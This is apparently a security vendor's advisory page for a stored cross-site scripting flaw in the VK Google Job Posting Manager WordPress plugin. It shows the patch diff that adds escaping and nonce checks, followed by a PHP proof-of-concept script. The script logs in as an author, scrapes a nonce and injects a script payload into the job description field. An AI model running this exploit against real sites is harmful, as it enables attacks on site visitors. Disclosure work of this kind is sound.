+++ b/vk-google-job-posting-manager/languages/index.php
@@ -0,0 +1,4 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
--- a/vk-google-job-posting-manager/vendor/composer/installed.php
+++ b/vk-google-job-posting-manager/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'vektor/vk-google-job-posting-manager',
-        'pretty_version' => '1.2.23',
-        'version' => '1.2.23.0',
-        'reference' => 'e77396975efbaad386c145a7af125dbbd237a054',
+        'pretty_version' => '1.2.24',
+        'version' => '1.2.24.0',
+        'reference' => '5c042d647ae282a3b836c7d20383b39d38d4eeb5',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -20,9 +20,9 @@
             'dev_requirement' => false,
         ),
         'vektor/vk-google-job-posting-manager' => array(
-            'pretty_version' => '1.2.23',
-            'version' => '1.2.23.0',
-            'reference' => 'e77396975efbaad386c145a7af125dbbd237a054',
+            'pretty_version' => '1.2.24',
+            'version' => '1.2.24.0',
+            'reference' => '5c042d647ae282a3b836c7d20383b39d38d4eeb5',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/vk-google-job-posting-manager/vk-google-job-posting-manager.php
+++ b/vk-google-job-posting-manager/vk-google-job-posting-manager.php
@@ -7,23 +7,28 @@
  * Author URI:      https://www.vektor-inc.co.jp
  * Text Domain:     vk-google-job-posting-manager
  * Domain Path:     /languages
- * Version:         1.2.23
- * Requires at least: 6.5
+ * Version:         1.2.24
+ * Requires at least: 6.6
+ * License:         GPLv2 or later
+ * License URI:     https://www.gnu.org/licenses/gpl-2.0.html
  *
  * @package         Vk_Google_Job_Posting_Manager
  */
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 /*
 Setting & load file
 /*-------------------------------------------*/
 $vgjpm_prefix = 'common_';
-$data         = get_file_data(
+$vgjpm_data   = get_file_data(
 	__FILE__,
 	array(
 		'version'    => 'Version',
 		'textdomain' => 'Text Domain',
 	)
 );
-define( 'VGJPM_VERSION', $data['version'] );
+define( 'VGJPM_VERSION', $vgjpm_data['version'] );
 define( 'VGJPM_BASENAME', plugin_basename( __FILE__ ) );
 define( 'VGJPM_URL', plugin_dir_url( __FILE__ ) );
 define( 'VGJPM_DIR', plugin_dir_path( __FILE__ ) );
@@ -33,11 +38,6 @@
 require_once __DIR__ . '/inc/custom-field-builder/custom-field-builder-config.php';
 require_once __DIR__ . '/blocks/vk-google-job-posting-manager-block.php';

-function vgjpm_load_textdomain() {
-	load_plugin_textdomain( 'vk-google-job-posting-manager', false, 'vk-google-job-posting-manager/languages' );
-}
-add_action( 'plugins_loaded', 'vgjpm_load_textdomain' );
-
 if ( ! function_exists( 'vgjpm_set_script_translations' ) ) {
 	/**
 	 * Set text domain for JavaScript translations.
@@ -55,8 +55,8 @@
 }
 register_activation_hook( __FILE__, 'vgjpm_activate' );

-$flag_custom_posttype = get_option( 'vgjpm_create_jobpost_posttype' );
-if ( isset( $flag_custom_posttype ) && $flag_custom_posttype == 'true' ) {
+$vgjpm_flag_custom_posttype = get_option( 'vgjpm_create_jobpost_posttype' );
+if ( isset( $vgjpm_flag_custom_posttype ) && $vgjpm_flag_custom_posttype == 'true' ) {
 	require_once __DIR__ . '/inc/custom-posttype-builder.php';
 }

@@ -75,7 +75,7 @@

 // Add a link to this plugin's settings page
 function vgjpm_set_plugin_meta( $links ) {
-	$settings_link = '<a href="options-general.php?page=vgjpm_settings">' . __( 'Setting', 'vvk-google-job-posting-manager' ) . '</a>';
+	$settings_link = '<a href="options-general.php?page=vgjpm_settings">' . __( 'Setting', 'vk-google-job-posting-manager' ) . '</a>';
 	array_unshift( $links, $settings_link );
 	return $links;
 }
@@ -91,7 +91,7 @@
 /**
  * 新旧オプション値を変換しつつ古いオプション値を削除
  */
-function vkjpm_get_common_field_options() {
+function vgjpm_get_common_field_options() {
 	global $vgjpm_prefix;
 	$options = get_option( 'vkjpm_common_fields' );
 	if ( empty( $options ) ) {
@@ -114,10 +114,20 @@
 			delete_option( $vgjpm_prefix . esc_attr( $old_option ) );
 		}
 		update_option( 'vkjpm_common_fields', $new_options );
+		$options = $new_options;
 	}
 	return $options;
 }

+/**
+ * @deprecated Use vgjpm_get_common_field_options() instead.
+ */
+function vkjpm_get_common_field_options() {
+	// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Used for deprecation notice.
+	_deprecated_function( __FUNCTION__, VGJPM_VERSION, 'vgjpm_get_common_field_options' );
+	return vgjpm_get_common_field_options();
+}
+
 function vgjpm_get_common_customfields_config() {
 	$VGJPM_Custom_Field_Job_Post = new VGJPM_Custom_Field_Job_Post();
 	$labels                      = $VGJPM_Custom_Field_Job_Post->custom_fields_array();
@@ -179,7 +189,7 @@

 	vgjpm_save_data( $common_custom_fields );

-	echo vgjpm_create_common_form( $common_custom_fields );
+	echo wp_kses( vgjpm_create_common_form( $common_custom_fields ), vgjpm_allowed_form_html() );
 }

 /**
@@ -196,7 +206,7 @@

 	$form .= '<form method="post" action="">';

-	$form .= wp_nonce_field( 'standing_on_the_shoulder_of_giants', 'vgjpm_nonce' );
+	$form .= wp_nonce_field( 'standing_on_the_shoulder_of_giants', 'vgjpm_nonce', true, false );

 	$form .= '<h2>' . __( 'Create Job-Posts Post type', 'vk-google-job-posting-manager' ) . '</h2>';

@@ -217,7 +227,7 @@

 	$form .= '</form>';

-	$form .= '<div class="footer-logo"><a href="https://www.vektor-inc.co.jp"><img src="' . plugin_dir_url( __FILE__ ) . 'assets/images/vektor_logo.png" alt="Vektor,Inc." /></a></div>';
+	$form .= '<div class="footer-logo"><a href="' . esc_url( 'https://www.vektor-inc.co.jp' ) . '"><img src="' . esc_url( plugin_dir_url( __FILE__ ) . 'assets/images/vektor_logo.png' ) . '" alt="Vektor,Inc." /></a></div>';
 	$form .= '</div>';

 	return $form;
@@ -233,7 +243,7 @@
 function vgjpm_render_form_input( $common_customfields ) {
 	global $vgjpm_prefix;
 	$field_prefix = 'vkjpm_common_fields';
-	$options      = vkjpm_get_common_field_options();
+	$options      = vgjpm_get_common_field_options();

 	$form = '<table class="admin-table">';

@@ -243,19 +253,22 @@
 		$form .= '<td>';

 		if ( $value['type'] == 'text' ) {
-			$form .= '<input type="text" name="' . $field_prefix . '[' . esc_attr( $key ) . ']' . '" value="' . $options[ esc_attr( $key ) ] . '">';
+			$stored = isset( $options[ $key ] ) ? $options[ $key ] : '';
+			$form  .= '<input type="text" name="' . $field_prefix . '[' . esc_attr( $key ) . ']' . '" value="' . esc_attr( $stored ) . '">';

 		} elseif ( $value['type'] == 'textarea' ) {

-			$form .= '<textarea class="form-control" class="cf_textarea_wysiwyg" name="' . $field_prefix . '[' . esc_attr( $key ) . ']' . '" cols="70" rows="3">' . esc_html( $options[ esc_attr( $key ) ] ) . '</textarea>';
+			$stored = isset( $options[ $key ] ) ? $options[ $key ] : '';
+			$form  .= '<textarea class="form-control cf_textarea_wysiwyg" name="' . $field_prefix . '[' . esc_attr( $key ) . ']' . '" cols="70" rows="3">' . esc_html( $stored ) . '</textarea>';

 		} elseif ( $value['type'] == 'datepicker' ) {

-			$form .= '<input class="form-control datepicker" type="text" " name="' . $field_prefix . '[' . esc_attr( $key ) . ']' . '" value="' . $options[ esc_attr( $key ) ] . '" size="70">';
+			$stored = isset( $options[ $key ] ) ? $options[ $key ] : '';
+			$form  .= '<input class="form-control datepicker" type="text" name="' . $field_prefix . '[' . esc_attr( $key ) . ']' . '" value="' . esc_attr( $stored ) . '" size="70">';

 		} elseif ( $value['type'] == 'image' ) {

-			$saved = $options[ esc_attr( $key ) ];
+			$saved = isset( $options[ $key ] ) ? $options[ $key ] : '';

 			if ( ! empty( $saved ) ) {
 				$thumb_image_url = wp_get_attachment_url( $saved );
@@ -264,26 +277,26 @@
 			}

 			// ダミー & プレビュー画像
-			$form .= '<img src="' . $thumb_image_url . '" id="thumb_' . esc_attr( $key ) . '" alt="" class="input_thumb" style="width:200px;height:auto;"> ';
+			$form .= '<img src="' . esc_url( $thumb_image_url ) . '" id="thumb_' . esc_attr( $key ) . '" alt="" class="input_thumb" style="width:200px;height:auto;"> ';
 			// 実際に送信する値
-			$form .= '<input type="hidden" name="' . $field_prefix . '[' . esc_attr( $key ) . ']' . '" id="' . esc_attr( $key ) . '" value="' . $options[ esc_attr( $key ) ] . '" style="width:60%;" />';
+			$form .= '<input type="hidden" name="' . $field_prefix . '[' . esc_attr( $key ) . ']' . '" id="' . esc_attr( $key ) . '" value="' . esc_attr( $saved ) . '" style="width:60%;" />';
 			// $form .= '<input type="hidden" name="' . $key . '" id="' . $key . '" value="' . self::form_post_value( $key ) . '" style="width:60%;" />';
 			// 画像選択ボタン
 			// .media_btn がトリガーでメディアアップローダーが起動する
 			// id名から media_ を削除した id 名の input 要素に返り値が反映される。
 			// id名が media_src_ で始まる場合はURLを返す
-			$form .= '<button id="media_' . $key . '" class="cfb_media_btn btn btn-default button button-default">' . __( 'Choose Image', 'vk-google-job-posting-manager' ) . '</button> ';
+			$form .= '<button id="media_' . $key . '" class="cfb_media_btn btn btn-default button button-default">' . esc_html__( 'Choose Image', 'vk-google-job-posting-manager' ) . '</button> ';

 			// 削除ボタン
 			// ボタンタグだとその場でページが再読込されてしまうのでaタグに変更
-			$form .= '<a id="media_reset_' . $key . '" class="media_reset_btn btn btn-default button button-default">' . __( 'Delete Image', 'vk-google-job-posting-manager' ) . '</a>';
+			$form .= '<a id="media_reset_' . $key . '" class="media_reset_btn btn btn-default button button-default">' . esc_html__( 'Delete Image', 'vk-google-job-posting-manager' ) . '</a>';
 		} elseif ( $value['type'] == 'select' ) {

 			$form .= '<select name="' . $field_prefix . '[' . esc_attr( $key ) . ']' . '"  >';

 			foreach ( $value['options'] as $option_value => $option_label ) {

-				$saved = $options[ esc_attr( $key ) ];
+				$saved = isset( $options[ $key ] ) ? $options[ $key ] : '';

 				if ( $saved == $option_value ) {
 					$selected = ' selected="selected"';
@@ -297,7 +310,7 @@
 		} elseif ( $value['type'] == 'checkbox' ) {
 			$form .= '<ul>';

-			$saved = $options[ esc_attr( $key ) ];
+			$saved = isset( $options[ $key ] ) ? $options[ $key ] : array();

 			if ( $value['type'] == 'checkbox' ) {
 				foreach ( $value['options'] as $option_value => $option_label ) {
@@ -323,14 +336,15 @@

 function vgjpm_save_data( $common_customfields ) {
 	global $vgjpm_prefix;
-	$options      = vkjpm_get_common_field_options();
+	$options      = vgjpm_get_common_field_options();
 	$field_prefix = 'vkjpm_common_fields';

 	// nonce
 	if ( ! isset( $_POST['vgjpm_nonce'] ) ) {
 		return;
 	}
-	if ( ! wp_verify_nonce( $_POST['vgjpm_nonce'], 'standing_on_the_shoulder_of_giants' ) ) {
+	$vgjpm_nonce = sanitize_text_field( wp_unslash( $_POST['vgjpm_nonce'] ) );
+	if ( ! wp_verify_nonce( $vgjpm_nonce, 'standing_on_the_shoulder_of_giants' ) ) {
 		return;
 	}

@@ -339,19 +353,39 @@
 	}

 	foreach ( $common_customfields as $key => $value ) {
+		$posted_fields = null;
+		if ( isset( $_POST[ $field_prefix ] ) && is_array( $_POST[ $field_prefix ] ) ) {
+			$posted_fields = wp_unslash( $_POST[ $field_prefix ] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized below.
+		}
+
 		if ( $value['type'] == 'text' || $value['type'] == 'select' || $value['type'] == 'image' || $value['type'] == 'datepicker' ) {

-			$options[ $key ] = vgjpm_sanitize_arr( $_POST[ $field_prefix ][ $key ] );
+			$posted_value = null;
+			if ( is_array( $posted_fields ) && array_key_exists( $key, $posted_fields ) ) {
+				$posted_value = $posted_fields[ $key ];
+			}
+			if ( null !== $posted_value ) {
+				$options[ $key ] = vgjpm_sanitize_arr( $posted_value );
+			}

 		} elseif ( $value['type'] == 'textarea' ) {

-			$options[ $key ] = sanitize_textarea_field( $_POST[ $field_prefix ][ $key ] );
+			$posted_value = null;
+			if ( is_array( $posted_fields ) && array_key_exists( $key, $posted_fields ) ) {
+				$posted_value = $posted_fields[ $key ];
+			}
+			if ( null !== $posted_value ) {
+				$options[ $key ] = sanitize_textarea_field( $posted_value );
+			}

 		} elseif ( $value['type'] == 'checkbox' ) {

-			if ( isset( $_POST[ $field_prefix ][ $key ] ) && is_array( $_POST[ $field_prefix ][ $key ] ) ) {
-
-				$options[ $key ] = vgjpm_sanitize_arr( $_POST[ $field_prefix ][ $key ] );
+			$posted_value = null;
+			if ( is_array( $posted_fields ) && array_key_exists( $key, $posted_fields ) ) {
+				$posted_value = $posted_fields[ $key ];
+			}
+			if ( is_array( $posted_value ) ) {
+				$options[ $key ] = vgjpm_sanitize_arr( $posted_value );

 			} else {
 				$options[ $key ] = array();
@@ -369,8 +403,16 @@
 function vgjpm_save_create_jobpost_posttype() {
 	$name = 'vgjpm_create_jobpost_posttype';

+	if ( ! isset( $_POST['vgjpm_nonce'] ) ) {
+		return;
+	}
+	$vgjpm_nonce = sanitize_text_field( wp_unslash( $_POST['vgjpm_nonce'] ) );
+	if ( ! wp_verify_nonce( $vgjpm_nonce, 'standing_on_the_shoulder_of_giants' ) ) {
+		return;
+	}
+
 	if ( isset( $_POST[ $name ] ) ) {
-		update_option( $name, sanitize_text_field( $_POST[ $name ] ) );
+		update_option( $name, sanitize_text_field( wp_unslash( $_POST[ $name ] ) ) );
 	} else {
 		update_option( $name, false );
 	}
@@ -382,12 +424,20 @@
 	);
 	$post_types = get_post_types( $args, 'object' );

-	foreach ( $post_types as $key => $value ) {
+	if ( ! isset( $_POST['vgjpm_nonce'] ) ) {
+		return;
+	}
+	$vgjpm_nonce = sanitize_text_field( wp_unslash( $_POST['vgjpm_nonce'] ) );
+	if ( ! wp_verify_nonce( $vgjpm_nonce, 'standing_on_the_shoulder_of_giants' ) ) {
+		return;
+	}
+
+	foreach ( array_keys( $post_types ) as $key ) {
 		if ( $key != 'attachment' ) {
 			$name = 'vgjpm_post_type_display_customfields' . sanitize_text_field( $key );

 			if ( isset( $_POST[ $name ] ) ) {
-				update_option( $name, sanitize_text_field( $_POST[ $name ] ) );
+				update_option( $name, sanitize_text_field( wp_unslash( $_POST[ $name ] ) ) );
 			} else {
 				update_option( $name, 'false' );
 			}
@@ -398,7 +448,17 @@
 function vgjpm_print_jsonLD_in_footer() {
 	$post_id       = get_the_ID();
 	$custom_fields = vgjpm_get_custom_fields( $post_id );
-	echo vgjpm_generate_jsonLD( $custom_fields );
+	$json_ld = vgjpm_generate_jsonLD( $custom_fields );
+	if ( $json_ld ) {
+		echo wp_kses(
+			$json_ld,
+			array(
+				'script' => array(
+					'type' => true,
+				),
+			)
+		);
+	}
 }
 add_action( 'wp_head', 'vgjpm_print_jsonLD_in_footer', 9999 );

@@ -474,7 +534,10 @@
 	$custom_fields = vgjpm_use_common_values( $custom_fields, 'json' );

 	if ( ! empty( $custom_fields['vkjp_validThrough'] ) ) {
-		$custom_fields['vkjp_validThrough'] = date( 'Y-m-d', strtotime( $custom_fields['vkjp_validThrough'] ) );
+		$valid_through_timestamp = strtotime( $custom_fields['vkjp_validThrough'] );
+		if ( false !== $valid_through_timestamp ) {
+			$custom_fields['vkjp_validThrough'] = wp_date( 'Y-m-d', $valid_through_timestamp, wp_timezone() );
+		}
 	}

 	$employment_types = array();
@@ -568,3 +631,50 @@

 	return '<script type="application/ld+json">' . "n" . $json_ld . "n" . '</script>' . "n";
 }
+
+function vgjpm_allowed_form_html() {
+	return array(
+		'div'    => array( 'class' => true, 'id' => true, 'style' => true ),
+		'h1'     => array(),
+		'h2'     => array(),
+		'p'      => array( 'class' => true ),
+		'form'   => array( 'method' => true, 'action' => true ),
+		'input'  => array(
+			'type'  => true,
+			'name'  => true,
+			'value' => true,
+			'id'    => true,
+			'class' => true,
+			'style' => true,
+			'size'  => true,
+			'checked' => true,
+		),
+		'textarea' => array(
+			'name'  => true,
+			'cols'  => true,
+			'rows'  => true,
+			'class' => true,
+		),
+		'select' => array( 'name' => true, 'class' => true ),
+		'option' => array( 'value' => true, 'selected' => true ),
+		'button' => array( 'id' => true, 'class' => true, 'type' => true ),
+		'table'  => array( 'class' => true ),
+		'tbody'  => array(),
+		'tr'     => array(),
+		'th'     => array(),
+		'td'     => array(),
+		'ul'     => array(),
+		'li'     => array( 'style' => true ),
+		'label'  => array(),
+		'img'    => array(
+			'src'   => true,
+			'alt'   => true,
+			'class' => true,
+			'id'    => true,
+			'style' => true,
+		),
+		'a'      => array( 'href' => true, 'class' => true, 'id' => true, 'target' => true ),
+		'span'   => array( 'class' => true ),
+		'br'     => array(),
+	);
+}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12836 - VK Google Job Posting Manager <= 1.2.23 - Authenticated (Author+) Stored Cross-Site Scripting via Job Description Field

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'author_user';
$password = 'author_password';
$job_post_id = 123; // ID of existing job post to edit

// Step 1: Authenticate and get WordPress nonce
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

// Create a temporary cookie file
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2025_12836');

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $admin_url,
        'testcookie' => '1'
    ]),
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
]);

$response = curl_exec($ch);

// Step 2: Extract edit page nonce
$edit_url = $target_url . '/wp-admin/post.php?post=' . $job_post_id . '&action=edit';
curl_setopt_array($ch, [
    CURLOPT_URL => $edit_url,
    CURLOPT_POST => false,
    CURLOPT_HTTPGET => true
]);

$response = curl_exec($ch);

// Extract the nonce for custom fields (noncename__fields)
preg_match('/name="noncename__fields" value="([^"]+)"/', $response, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';

// Step 3: Inject XSS payload into job description field
$update_url = $target_url . '/wp-admin/post.php';
$xss_payload = '<script>alert("Atomic Edge CVE-2025-12836 XSS");</script>';

curl_setopt_array($ch, [
    CURLOPT_URL => $update_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'post_ID' => $job_post_id,
        'action' => 'editpost',
        'post_type' => 'job-posts',
        'vkjp_description' => $xss_payload,
        'noncename__fields' => $nonce,
        '_wpnonce' => wp_create_nonce('update-post_' . $job_post_id),
        'save' => 'Update'
    ]),
    CURLOPT_RETURNTRANSFER => true
]);

$response = curl_exec($ch);

// Step 4: Verify the payload was stored
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/?p=' . $job_post_id,
    CURLOPT_POST => false,
    CURLOPT_HTTPGET => true
]);

$response = curl_exec($ch);

if (strpos($response, $xss_payload) !== false) {
    echo "[+] XSS payload successfully injected into job description field.n";
    echo "[+] Visit: " . $target_url . '/?p=' . $job_post_id . " to trigger the payload.n";
} else {
    echo "[-] Payload injection may have failed.n";
}

curl_close($ch);
unlink($cookie_file);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School